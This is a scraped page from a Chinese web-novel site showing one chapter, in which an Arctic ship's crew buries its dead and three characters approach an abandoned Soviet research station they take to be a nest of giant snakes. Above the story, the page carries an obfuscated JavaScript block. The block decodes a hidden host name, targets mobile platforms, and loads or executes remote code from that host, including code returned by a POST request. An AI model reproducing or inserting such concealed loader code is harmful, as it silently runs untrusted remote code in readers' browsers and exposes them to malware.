妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第131章 但为君故(35)(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

施耐德和雷巴尔科都参加了这名船员的葬礼,葬礼在甲板上举行,尸体会被直接丢进冰海里去。不是不想把船员的骨灰带回去,但他们已经没有额外的燃油了,焚化一具尸体耗费的燃料对如今的yal号来说是弥足珍贵的。人还未死就被封进尸体袋是因为担心传染,没人知道那种灰化的病是出于什么原因,也许是大蛇们把细菌和病毒带进了yal号,也许是那个因纽特小女巫的诅咒。

几天之中他们损失了18名船员,除了两名伤员因温度太低没能熬过来,其他都是这种奇怪的灰化病。

施耐德重重地咳嗽了几声,“核动力舱还是没法启动么?”

“工程师们还在全力以赴,但设备被破坏得很厉害。”

“通讯也没有恢复?”

雷巴尔科摇了摇头。

“您的人还能控制船上的局面么?”

“用ak47勉强可以控制。船员们情绪很不稳定,有人觉得应该杀掉那个女孩,杀掉她我们就会被放过,有人觉得应该弃船从冰面上走回法兰士约瑟夫地群岛去。”

“那船长先生您呢?您是为了薪金继续履行职责的么?”

“我对加图索先生有信心,相信他一定会带回好消息。”

牧师一把抓起尸体袋把它丢下了船舷,甚至没有验一验他的呼吸,但确实也用不着,任何人穿着单衣在这冰天雪地里听完自己的临终祈祷都冻死了。

黑色的尸体袋狠狠地砸在白色的冰面上,周围是其余的17个尸体袋。并无血浆流出来,死者的血应该早就冻硬了。

***

恺撒、芬格尔和酒德麻衣爬上一道冰脊的顶端。

“就是这里了。”酒德麻衣低声说。

恺撒举起望远镜,靠着微弱的天光,看清了下方那座冰封的科考站。

真是不可思议的建筑物,完全构建在一块巨大的浮冰上,规模远比想的要大。本以为世界最北端的科考站只是几座单薄的小房子,结果居然是钢筋混凝土构建的永久建筑,周围围着铁丝网。大型的卫星天线静静地矗立,可以想像里面有相当大功率的发射装置。

“苏联时期的奇想,北冰洋应该是北方舰队的后院,所以要建立最北的科考站,彰显苏联的北极战略。建筑方式非常特殊,选择了北极点附近最坚固的永久冰架,用钢管垂直地打下去形成桩基,再在上面盖房子。最多的时候有12名士兵在这里驻扎,配备最先进的雷达设备,穿越北极的军船和民船都在它的监视之中。”酒德麻衣说。

“他们就不担心冰架融化?”芬格尔说。

“这就是它被废弃的原因。在它被建造的时候。温室效应还不是热门的议题,俄国人觉得上百万年的永久冰架,在这座科考站的使用寿命内,应该是继续稳固的。谁知道地球变暖,永久冰架也开始出现裂缝,这座科考站随时都会掉进冰海里去,即使花费了很多钱也不得不放弃。”

“能看到蛇么老大?”芬格尔问。

恺撒摇摇头,“但能看到很多类似车辙的痕迹,那是蛇巢没错。”

到现在为止他们还没看到活生生的大蛇,不过蛇类跟北极熊这样的哺乳类不同,既不需要频繁进食,也不需要玩耍,进食之后它们就该进入半沉睡的状态,所以那座科考站里如果一条缠着一条满满地塞着大蛇,倒也并不奇怪。

“如果那些家伙在冬眠,我们是不是摸进去也没事?”芬格尔又问。

“原理上来说是这样,但这些蛇能在北极圈中生存,它们的血液温度就不会太低。它们不是纯粹的冷血动物,而是变温动物,甚至恒温动物。”恺撒说。

“这有什么关系?”芬格尔没听懂。

“普通的爬行种都是冷血动物,温度降低到一定程度,它们就失去了活动能力,所以才会有农夫和蛇的故事,你在冬天捡起一条活蛇,但在它体温升上来之前都无法攻击你。变温动物就不一样,它们可以自行调节体温,恐龙可能就是变温动物。变温动物是可以被吵醒的,我们不能发出任何声音。”

“那这活儿我干不了,我那么多话老大你也不是不知道,这样吧你们进去我在外面放风……”

芬格尔还没说完就被酒德麻衣一脚踹下冰脊,加速着冲向那座科考站,这家伙满脸惊恐眼睛瞪得比铜铃还大,却死死地捂住嘴不敢发出一丝声音。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间